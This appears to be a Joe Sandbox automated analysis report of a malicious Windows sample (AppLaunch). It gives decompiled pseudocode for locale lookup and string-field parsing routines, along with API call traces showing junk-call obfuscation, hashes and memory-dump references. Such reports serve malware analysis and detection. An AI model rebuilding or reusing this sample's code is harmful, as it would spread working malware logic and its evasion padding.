Instruction ID: 49a84b7ead54be1b7a20ed55727dc2c5b11a726a4233aed6c98b702c12e19b14
Opcode Fuzzy Hash: 455ad72ac9a2161bdf32bb6a051ec11d151c942817fed361fd356bdf2a3c42e7
Instruction Fuzzy Hash: 79018F32701104BBEB219BA4EC48FBB7ABCEF49756F400075BA01E2164DB78DE029778

Uniqueness

Uniqueness Score: -1.00%

Function 00414A5F Relevance: 10.5, APIs: 7, Instructions: 40
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414A5F(void* __eflags, intOrPtr* _a4) {
				void* _t12;
				void* _t15;
				intOrPtr* _t16;
				void* _t19;

				_t19 = __eflags;
				_t12 = LocalAlloc(0x40, 0x208);
				_t15 = LocalAlloc(0x40, 0x400);
				GetLocaleInfoW(GetUserDefaultLCID(), 0x1001, _t12, 0x104);
				wsprintfW(_t15,  *0x423580, _t12);
				_t16 = _a4;
				 *_t16 = E0041AD76( *_t16, _t15, _t19);
				LocalFree(_t12);
				LocalFree(_t15);
				return 1;
			}

0x00414a5f
0x00414a79
0x00414a8c
0x00414a95
0x00414aa3
0x00414aa9
0x00414ab9
0x00414abb
0x00414ac2
0x00414acf

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000001,00000000,?,004153DD,00000000), ref: 00414A6C
LocalAlloc.KERNEL32(00000040,00000400,?,004153DD,00000000), ref: 00414A7B
GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,004153DD,00000000), ref: 00414A8E
GetLocaleInfoW.KERNEL32(00000000,?,004153DD,00000000,?,?,?,?,?,?,?,?,?,?,?,004101AD), ref: 00414A95
wsprintfW.USER32 ref: 00414AA3

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004101AD), ref: 00414ABB
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004101AD), ref: 00414AC2

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$AllocFree$DefaultInfoLocaleUserwsprintf
String ID:
API String ID: 250560840-0
Opcode ID: c819e89581530f3eddb026d65e2e21a9c6d6b5f294c97097efdfa9b412e04b5b
Instruction ID: 34725b2bf9176be3d7b89835664b827dea73b010b902dad609990a2121804d2a
Opcode Fuzzy Hash: c819e89581530f3eddb026d65e2e21a9c6d6b5f294c97097efdfa9b412e04b5b
Instruction Fuzzy Hash: 94F0CDB2300200BFE7201FA0AC4DE6A7B7CEB44B67F400824F34597194CA7E4A828B2C

Uniqueness

Uniqueness Score: -1.00%

Function 0041E324 Relevance: 165.3, APIs: 110, Instructions: 347COMMON

Download Yara Rule

APIs

PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E335
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E33B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E341
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E347
RealDriveType.SHELL32(CAB09614,00000000), ref: 0041E356
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E35C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E366
RealDriveType.SHELL32(44F5E3E3,00000000), ref: 0041E373
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E379
RealDriveType.SHELL32(CD00A7E6,00000000), ref: 0041E386
RealDriveType.SHELL32(A194B0FF,00000000), ref: 0041E38F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E395
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E39F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E3A9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E3B3
RealDriveType.SHELL32(ED74799B,00000000), ref: 0041E3C0
RealDriveType.SHELL32(E46F1466,00000000), ref: 0041E3C9
RealDriveType.SHELL32(A88C1373,00000000), ref: 0041E3D2
RealDriveType.SHELL32(E86842C4,00000000), ref: 0041E3DB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E3E1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E3EB
RealDriveType.SHELL32(E21F8A23,00000000), ref: 0041E3F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E3FE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E408
RealDriveType.SHELL32(EC9FCA06,00000000), ref: 0041E415
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E41B
RealDriveType.SHELL32(E5351B05,00000000), ref: 0041E428
RealDriveType.SHELL32(5DB7EF99,00000000), ref: 0041E431
RealDriveType.SHELL32(AFEE0028,00000000), ref: 0041E43A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E440
RealDriveType.SHELL32(666745A4,00000000), ref: 0041E44D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E453
RealDriveType.SHELL32(0FDEF84A,00000000), ref: 0041E460
RealDriveType.SHELL32(E416361C,00000000), ref: 0041E469
RealDriveType.SHELL32(AB062AB9,00000000), ref: 0041E472
RealDriveType.SHELL32(23746C82,00000000), ref: 0041E47B
StrRChrW.SHLWAPI(00000000,00000000,0000005C), ref: 0041E482
RealDriveType.SHELL32(01B7E372,00000000), ref: 0041E492
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E498
RealDriveType.SHELL32(877E63CA,00000000), ref: 0041E4A5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4AB
RealDriveType.SHELL32(5C71A3E3,00000000), ref: 0041E4B8
RealDriveType.SHELL32(2446D540,00000000), ref: 0041E4C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4C7
RealDriveType.SHELL32(CFF99A87,00000000), ref: 0041E4D4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4DA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4EE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E4F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E502
RealDriveType.SHELL32(713A6145,00000000), ref: 0041E50F
RealDriveType.SHELL32(CF1CA8AF,00000000), ref: 0041E518
RealDriveType.SHELL32(FE15A820,00000000), ref: 0041E521
RealDriveType.SHELL32(AD6A3A09,00000000), ref: 0041E52A
RealDriveType.SHELL32(6FDF5E62,00000000), ref: 0041E533
RealDriveType.SHELL32(EF908AD1,00000000), ref: 0041E53C
RealDriveType.SHELL32(B85BA9F7,00000000), ref: 0041E545
RealDriveType.SHELL32(4DC9DD9D,00000000), ref: 0041E54E
RealDriveType.SHELL32(85C4A011,00000000), ref: 0041E557
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E55D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E567
RealDriveType.SHELL32(4948512E,00000000), ref: 0041E574
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E57A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E584
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E58E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E598
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5A2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5AC
RealDriveType.SHELL32(AA964F19,00000000), ref: 0041E5B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5BF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5C9
RealDriveType.SHELL32(C59F346F,00000000), ref: 0041E5D6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5DC
StrCpyW.SHLWAPI(?,00000002), ref: 0041E5E5
RealDriveType.SHELL32(37620B65,00000000), ref: 0041E5F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E5FD
RealDriveType.SHELL32(97AA9CB9,00000000), ref: 0041E605
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E609
RealDriveType.SHELL32(F32956BD,00000000), ref: 0041E611
RealDriveType.SHELL32(ED9E126E,00000000), ref: 0041E619
RealDriveType.SHELL32(7E8500F3,00000000), ref: 0041E621
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E625
RealDriveType.SHELL32(2F1CEA82,00000000), ref: 0041E62D
RealDriveType.SHELL32(47A3E03E,00000000), ref: 0041E635
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E639
RealDriveType.SHELL32(664C8D87,00000000), ref: 0041E641
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E645
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E649
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E64D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E651
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E655
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E659
RealDriveType.SHELL32(2F132E43,00000000), ref: 0041E661
RealDriveType.SHELL32(D127431D,00000000), ref: 0041E669
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E66D
RealDriveType.SHELL32(90C1D6BC,00000000), ref: 0041E675
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E679
RealDriveType.SHELL32(44467CD1,00000000), ref: 0041E681
RealDriveType.SHELL32(21730413,00000000), ref: 0041E689
RealDriveType.SHELL32(0D2F3398,00000000), ref: 0041E691
RealDriveType.SHELL32(2A9CCA8E,00000000), ref: 0041E699
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E69D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E6A1
RealDriveType.SHELL32(8B0FB7AA,00000000), ref: 0041E6A9
RealDriveType.SHELL32(6A4B0DA7,00000000), ref: 0041E6B1
RealDriveType.SHELL32(FEBB91B2,00000000), ref: 0041E6B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E6BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E6C1
RealDriveType.SHELL32(9CA581DB,00000000), ref: 0041E6C9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041E6CD

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DrivePathRealSlowType
String ID:
API String ID: 2665070881-0
Opcode ID: 82ab427d9ff20ee665ccc7ab51da872b87030392fae96d5f5016f7e149557945
Instruction ID: 6f3bce70d886ce7aa1be8122c59a801cafc1b57dc9f4cf516d864c0f20e15202
Opcode Fuzzy Hash: 82ab427d9ff20ee665ccc7ab51da872b87030392fae96d5f5016f7e149557945
Instruction Fuzzy Hash: B391AA317843587EF1B02BE26C8EF6E6D68DFC5F9AF600014B3096D4D14A90AD469B7E

Uniqueness

Uniqueness Score: -1.00%

Function 00406364 Relevance: 112.9, APIs: 75, Instructions: 439
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00406364(intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				signed int _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				void* _v60;
				signed int _v64;
				char _v68;
				void* __ecx;
				void* _t190;
				void* _t191;
				void* _t204;
				WCHAR* _t205;
				void* _t208;
				int _t212;
				int _t217;
				WCHAR* _t224;
				WCHAR* _t225;
				char _t258;
				void* _t272;
				WCHAR* _t276;
				signed int _t279;
				WCHAR* _t280;
				WCHAR* _t282;
				WCHAR* _t284;
				WCHAR* _t286;
				WCHAR* _t288;
				WCHAR* _t290;
				void* _t293;
				WCHAR* _t294;
				WCHAR* _t295;
				WCHAR* _t297;
				signed int _t299;
				WCHAR* _t300;
				signed int _t302;
				WCHAR* _t303;
				signed int _t305;
				WCHAR* _t306;
				signed int _t308;
				WCHAR* _t309;
				signed int _t311;
				WCHAR* _t312;
				signed int _t314;
				void* _t315;
				short* _t317;
				void* _t318;

				_v56 = __edx;
				_t294 = StrStrW(_t225,  *0x423288);
				if(_t294 == 0) {
					L38:
					return 0;
				}
				while(1) {
					_t295 = _t294 + 0xa;
					_v8 = LocalAlloc(0x40, lstrlenW(_t295) + _t116);
					_t276 = StrStrW(_t295,  *0x423200);
					if(_t276 == 0) {
						break;
					}
					_t279 = _t276 - _t295 >> 1;
					if(E00419B4E(_t295,  &_v8, 0, _t279) == 0) {
						break;
					}
					_t280 =  &(( &(_t295[1]))[_t279]);
					_v12 = LocalAlloc(0x40, lstrlenW(_t280) + _t122);
					_t297 = StrStrW(_t280,  *0x42322c);
					if(_t297 == 0) {
						L34:
						LocalFree(_v8);
						LocalFree(_v12);
						L36:
						L37:
						goto L38;
					}
					_t299 = _t297 - _t280 >> 1;
					if(E00419B4E(_t280,  &_v12, 0, _t299) == 0) {
						goto L34;
					}
					_t282 =  &(( &(_t280[_t299]))[1]);
					_v16 = LocalAlloc(0x40, lstrlenW(_t282) + _t128);
					_t300 = StrStrW(_t282,  *0x42322c);
					if(_t300 == 0) {
						L33:
						LocalFree(_v8);
						LocalFree(_v12);
						L32:
						LocalFree(_v16);
						goto L36;
					}
					_t302 = _t300 - _t282 >> 1;
					if(E00419B4E(_t282,  &_v16, 0, _t302) == 0) {
						goto L33;
					}
					_t284 =  &(( &(_t282[_t302]))[1]);
					_v20 = LocalAlloc(0x40, lstrlenW(_t284) + _t135);
					_t303 = StrStrW(_t284,  *0x42322c);
					if(_t303 == 0) {
						L31:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v20);
						goto L32;
					}
					_t305 = _t303 - _t284 >> 1;
					if(E00419B4E(_t284,  &_v20, 0, _t305) == 0) {
						goto L31;
					}
					_t286 =  &(( &(_t284[_t305]))[1]);
					_v24 = LocalAlloc(0x40, lstrlenW(_t286) + _t142);
					_t306 = StrStrW(_t286,  *0x42322c);
					if(_t306 == 0) {
						L30:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						goto L36;
					}
					_t308 = _t306 - _t286 >> 1;
					if(E00419B4E(_t286,  &_v24, 0, _t308) == 0) {
						goto L30;
					}
					_t288 =  &(( &(_t286[_t308]))[1]);
					_v28 = LocalAlloc(0x40, lstrlenW(_t288) + _t151);
					_t309 = StrStrW(_t288,  *0x42322c);
					if(_t309 == 0) {
						L29:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						LocalFree(_v28);
						goto L36;
					}
					_t311 = _t309 - _t288 >> 1;
					if(E00419B4E(_t288,  &_v28, 0, _t311) == 0) {
						goto L29;
					}
					_t290 =  &(( &(_t288[_t311]))[1]);
					_v48 =  *_v28 & 0x0000ffff;
					_v32 = LocalAlloc(0x40, lstrlenW(_t290) + _t163);
					_t312 = StrStrW(_t290,  *0x42322c);
					if(_t312 == 0) {
						L28:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_v28);
						LocalFree(_v32);
						goto L36;
					}
					_t314 = _t312 - _t290 >> 1;
					if(E00419B4E(_t290,  &_v32, 0, _t314) == 0) {
						goto L28;
					}
					_t31 = _t314 + 1; // 0x1
					_t224 =  &(_t290[_t31]);
					_v52 =  *_v32 & 0x0000ffff;
					_v40 = LocalAlloc(0x40, lstrlenW(_t224) + _t176);
					if(StrStrW(_t224,  *0x423250) == 0 || E00419B4E(_t224,  &_v40, 0, _t179 - _t224 >> 1) == 0) {
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_v28);
						LocalFree(_v32);
						LocalFree(_v40);
						goto L36;
					} else {
						_v44 = _v44 & 0x00000000;
						_t190 = LocalAlloc(0x40, 0x30700);
						_v36 = _t190;
						_push( &_v44);
						_push(_t190);
						_t191 = 0x31;
						_push(0 | _v52 == _t191);
						_push(0 | _v48 == _t191);
						_push(StrToIntW(_v24));
						_push(_v20);
						_push(_v16);
						_push(_v12);
						E00406D5B(_v40, _v8);
						_t318 = _t318 + 0x20;
						_t339 = _v44;
						if(_v44 <= 0) {
							_t315 = _v36;
						} else {
							_t204 = LocalAlloc(0x40, 0x208);
							_t205 = LocalAlloc(0x40, 0x208);
							_t272 = 0x10;
							_t317 = E00416B1A(_t204, _t272);
							_v60 = _t317;
							_t208 = E0041AD76(StrCpyW(_t205,  *0x423230), _t317, _t339);
							_t258 =  *0x423224; // 0x513bc38
							_v64 = _v64 & 0x00000000;
							_v68 = _t258;
							_v52 = _t208;
							_v48 = E00413A99( &_v52, _t339);
							_t293 = LocalAlloc(0x40, 0x184);
							_t212 = WideCharToMultiByte(0xfde9, 0, _t317, 0xffffffff, 0, 0, 0, 0);
							if(_t212 == 0) {
								_t315 = _v36;
							} else {
								_t217 = WideCharToMultiByte(0xfde9, 0, _t317, 0xffffffff, _t293, _t212, 0, 0);
								_t315 = _v36;
								if(_t217 != 0) {
									E004133D0(_v56, _t293, 0, 0, _v44, _t315, _v48,  &_v68);
									_t318 = _t318 + 0x18;
								}
							}
							LocalFree(_t293);
							LocalFree(_v48);
							LocalFree(_v52);
							LocalFree(_v60);
						}
						LocalFree(_t315);
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						LocalFree(_v28);
						LocalFree(_v32);
						LocalFree(_v40);
						_t294 = StrStrW(_t224,  *0x423288);
						_push(0);
						_pop(0);
						if(_t294 != 0) {
							continue;
						} else {
							goto L37;
						}
					}
				}
				LocalFree(_v8);
				goto L36;
			}

0x00406371
0x0040637b
0x0040637f
0x004068ce
0x004068d2
0x004068d2
0x00406389
0x00406389
0x004063a4
0x004063ae
0x004063b2
0x00000000
0x00000000
0x004063bd
0x004063cc
0x00000000
0x00000000
0x004063d5
0x004063f0
0x004063fa
0x004063fe
0x004068b5
0x004068b8
0x004068c6
0x004068c6
0x004068cc
0x00000000
0x004068cd
0x00406409
0x00406418
0x00000000
0x00000000
0x00406421
0x0040643c
0x00406446
0x0040644a
0x004068a7
0x004068aa
0x0040689c
0x0040689c
0x004068c6
0x00000000
0x004068c6
0x00406455
0x00406464
0x00000000
0x00000000
0x0040646d
0x00406488
0x00406492
0x00406496
0x00406887
0x0040688a
0x00406893
0x0040689c
0x00000000
0x0040689c
0x004064a1
0x004064b0
0x00000000
0x00000000
0x004064b9
0x004064d4
0x004064de
0x004064e2
0x0040685e
0x00406861
0x0040686a
0x00406873
0x0040687c
0x004068c6
0x00000000
0x004068c6
0x004064ed
0x004064fc
0x00000000
0x00000000
0x00406505
0x00406520
0x0040652a
0x0040652e
0x0040682c
0x0040682f
0x00406838
0x00406841
0x0040684a
0x00406853
0x004068c6
0x00000000
0x004068c6
0x00406539
0x00406548
0x00000000
0x00000000
0x00406554
0x0040655b
0x00406575
0x0040657f
0x00406583
0x004067ee
0x004067f1
0x004067fa
0x00406803
0x0040680c
0x00406815
0x0040681e
0x004068c6
0x00000000
0x004068c6
0x0040658e
0x0040659d
0x00000000
0x00000000
0x004065a6
0x004065a9
0x004065b0
0x004065ca
0x004065d6
0x004067aa
0x004067b3
0x004067bc
0x004067c5
0x004067ce
0x004067d7
0x004067e0
0x004068c6
0x00000000
0x004065f7
0x004065f7
0x00406602
0x0040660b
0x0040660e
0x0040660f
0x00406614
0x0040661c
0x00406626
0x00406636
0x00406637
0x0040663a
0x0040663d
0x00406640
0x00406645
0x00406648
0x0040664c
0x00406736
0x00406652
0x0040665a
0x00406665
0x0040666d
0x0040667d
0x00406680
0x0040668d
0x00406692
0x00406698
0x0040669c
0x004066a2
0x004066b1
0x004066ba
0x004066cb
0x004066d3
0x0040670f
0x004066d5
0x004066e4
0x004066ea
0x004066ef
0x00406705
0x0040670a
0x0040670a
0x004066ef
0x00406713
0x0040671c
0x00406725
0x0040672e
0x0040672e
0x0040673a
0x00406743
0x0040674c
0x00406755
0x0040675e
0x00406767
0x00406770
0x00406779
0x00406782
0x00406795
0x00406797
0x00406799
0x0040679c
0x00000000
0x004067a2
0x00000000
0x004067a2
0x0040679c
0x004065d6
0x004068c6
0x00000000

APIs

StrStrW.SHLWAPI(00000000,00000000), ref: 00406375
lstrlenW.KERNEL32(-0000000A,00000000,00000000), ref: 0040638D
LocalAlloc.KERNEL32(00000040,00000000), ref: 00406398
StrStrW.SHLWAPI(-0000000A), ref: 004063A8
LocalFree.KERNEL32(00411555), ref: 004068C6

Part of subcall function 00419B4E: RealDriveType.SHELL32(28B5784F,00000000), ref: 00419B6C
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B76
Part of subcall function 00419B4E: RealDriveType.SHELL32(6CFEA2A9,00000000), ref: 00419B7F
Part of subcall function 00419B4E: RealDriveType.SHELL32(DE3824E3,00000000), ref: 00419B88
Part of subcall function 00419B4E: RealDriveType.SHELL32(421E54E9,00000000), ref: 00419B91
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B97
Part of subcall function 00419B4E: RealDriveType.SHELL32(CAECD9F1,00000000), ref: 00419BA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(5F2761BB,00000000), ref: 00419BA9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BAF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BB5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BBB
Part of subcall function 00419B4E: RealDriveType.SHELL32(3D0203C8,00000000), ref: 00419BC4
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BCA
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BD0
Part of subcall function 00419B4E: RealDriveType.SHELL32(8F0B365C,00000000), ref: 00419BD9
Part of subcall function 00419B4E: RealDriveType.SHELL32(2856819B,00000000), ref: 00419BE2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BE8
Part of subcall function 00419B4E: RealDriveType.SHELL32(D1C91AE1,00000000), ref: 00419BF1
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BF7
Part of subcall function 00419B4E: RealDriveType.SHELL32(81693532,00000000), ref: 00419C00
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C06
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(E8F18F5C,00000000), ref: 00419C15
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C1B
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C21
Part of subcall function 00419B4E: RealDriveType.SHELL32(E902450C,00000000), ref: 00419C2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(90A3CA22,00000000), ref: 00419C33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C39
Part of subcall function 00419B4E: RealDriveType.SHELL32(093A69B5,00000000), ref: 00419C42

lstrlenW.KERNEL32(00000000), ref: 004063D9
LocalAlloc.KERNEL32(00000040,00000000), ref: 004063E4
StrStrW.SHLWAPI(00000000), ref: 004063F4
LocalFree.KERNEL32(00411555), ref: 004068B8

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C48
Part of subcall function 00419B4E: RealDriveType.SHELL32(4F2F9935,00000000), ref: 00419C51
Part of subcall function 00419B4E: RealDriveType.SHELL32(0447F28C,00000000), ref: 00419C5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(EE23359B,00000000), ref: 00419C63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C69
Part of subcall function 00419B4E: RealDriveType.SHELL32(D989BAD6,00000000), ref: 00419C72
Part of subcall function 00419B4E: RealDriveType.SHELL32(1CF0C71B,00000000), ref: 00419C7B
Part of subcall function 00419B4E: lstrlenW.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C7E
Part of subcall function 00419B4E: LocalAlloc.KERNELBASE(00000040,00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C8E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C9A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(462CC7D3,00000000), ref: 00419CA9
Part of subcall function 00419B4E: RealDriveType.SHELL32(234BE037,00000000), ref: 00419CB2
Part of subcall function 00419B4E: RealDriveType.SHELL32(A4D6ACB1,00000000), ref: 00419CBB
Part of subcall function 00419B4E: RealDriveType.SHELL32(48D1B2F5,00000000), ref: 00419CC4
Part of subcall function 00419B4E: RealDriveType.SHELL32(4B90ED69,00000000), ref: 00419CCD
Part of subcall function 00419B4E: RealDriveType.SHELL32(89C89DBC,00000000), ref: 00419CD6
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CDC
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC35A942,00000000), ref: 00419CE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(DDCF0A61,00000000), ref: 00419CF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(E4E5AE85,00000000), ref: 00419CFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D03
Part of subcall function 00419B4E: RealDriveType.SHELL32(448CA2B2,00000000), ref: 00419D0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(67173F86,00000000), ref: 00419D15
Part of subcall function 00419B4E: RealDriveType.SHELL32(F63D3B4C,00000000), ref: 00419D1E
